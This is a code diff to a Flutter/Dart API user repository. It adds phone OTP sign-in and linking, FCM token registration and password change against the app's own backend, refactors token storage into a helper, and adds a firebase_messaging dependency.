@@ -61,6 +69,7 @@ class ApiUserRepository implements UserRepository {
gender: json['gender']?.toString(),
proState: _proStateFromInt((json['pro_state'] as num?)?.toInt() ?? 0),
token: null,
isPhoneVerified: json['is_phone_verified'] as bool? ?? false,
);
}
@@ -87,14 +96,19 @@ class ApiUserRepository implements UserRepository {
Stream<bool> isAuthenticated() async* {
final t = await _getToken();
if (t != null) {
// Try to restore the current user from the API
try {
final data = await _get('/auth/me');
if (data != null) {
_current = _fromApi(data as Map<String, dynamic>);
currentUserId = _current?.id;
_emit(_current);
} else {
_emit(null);
}
} catch (_) {}
} catch (_) {
_emit(null);
}
} else {
_emit(null);
}
yield t != null;
}
@@ -104,9 +118,7 @@ class ApiUserRepository implements UserRepository {
_controller.add(user);
}
@override
Future<void> signIn(String email, String password) async {
final data = await _post('/auth/login', {'email': email, 'password': password});
Future<void> _saveTokenAndEmit(Map<String, dynamic> data) async {
_token = data['access_token'] as String?;
if (_token != null) {
final prefs = await SharedPreferences.getInstance();
@@ -116,6 +128,12 @@ class ApiUserRepository implements UserRepository {
_emit(_current);
}
@override
Future<void> signIn(String email, String password) async {
final data = await _post('/auth/login', {'email': email, 'password': password});
await _saveTokenAndEmit(data);
}
@override
Future<MyUser> signUp(MyUser myUser, String password) async {
final data = await _post('/auth/register', {
@@ -123,13 +141,7 @@ class ApiUserRepository implements UserRepository {
'password': password,
'name': myUser.name ?? myUser.email ?? '',
});
_token = data['access_token'] as String?;
if (_token != null) {
final prefs = await SharedPreferences.getInstance();
await prefs.setString('token', _token!);
}
_current = _fromApi(data['user'] as Map<String, dynamic>);
_emit(_current);
await _saveTokenAndEmit(data);
return _current!;
}
@@ -245,11 +257,25 @@ class ApiUserRepository implements UserRepository {
@override
Future<void> signInWithPhoneNumber(String phoneNumber) async {
// The API's phone auth is direct — no OTP flow via this method
_pendingOtpPhone = phoneNumber;
await _post('/auth/send-otp', {'phone': phoneNumber});
}
@override
Future<bool> verifyOTP(String code) async => false;
Future<bool> verifyOTP(String code) async {
if (_pendingOtpPhone == null) return false;
try {
final data = await _post('/auth/phone', {
'phone': _pendingOtpPhone!,
'code': code,
});
await _saveTokenAndEmit(data);
_pendingOtpPhone = null;
return true;
} catch (_) {
return false;
}
}
@override
Future<void> addPhoneAuthCredential(
@@ -263,10 +289,35 @@ class ApiUserRepository implements UserRepository {
}
@override
Future<bool> linkWithOTP(String phoneNumber, String verificationId, String code) async => false;
Future<bool> linkWithOTP(String phoneNumber, String verificationId, String code) async {
try {
await _post('/auth/verify-phone', {'phone': phoneNumber, 'code': code}, auth: true);
return true;
} catch (_) {
return false;
}
}
@override
Future<void> resetPassword(String email) async {
// Not supported by current API — stub
}
Future<void> updateFcmToken(String token) async {
try {
await _post('/users/me/fcm-token', {'token': token}, auth: true);
} catch (_) {}
}
Future<bool> changePassword(String currentPassword, String newPassword) async {
try {
await _post('/auth/change-password', {
'current_password': currentPassword,
'new_password': newPassword,
}, auth: true);
return true;
} catch (_) {
return false;
}
}
}
@@ -4,5 +4,4 @@ export 'src/models/models.dart';
export 'src/entities/entities.dart';
export 'src/services/phone_verification_service.dart';
export 'src/repositories/user_repo.dart';
export 'src/repositories/firebase_user_repository.dart';
export 'src/repositories/api_user_repository.dart';
+2
View File
@@ -10,6 +10,8 @@ environment:
dependencies:
animate_do: ^3.0.2
firebase_core: ^3.0.0
firebase_messaging: ^15.0.0
animated_splash_screen: ^1.3.0
chat_repository:
path: packages/chat_repository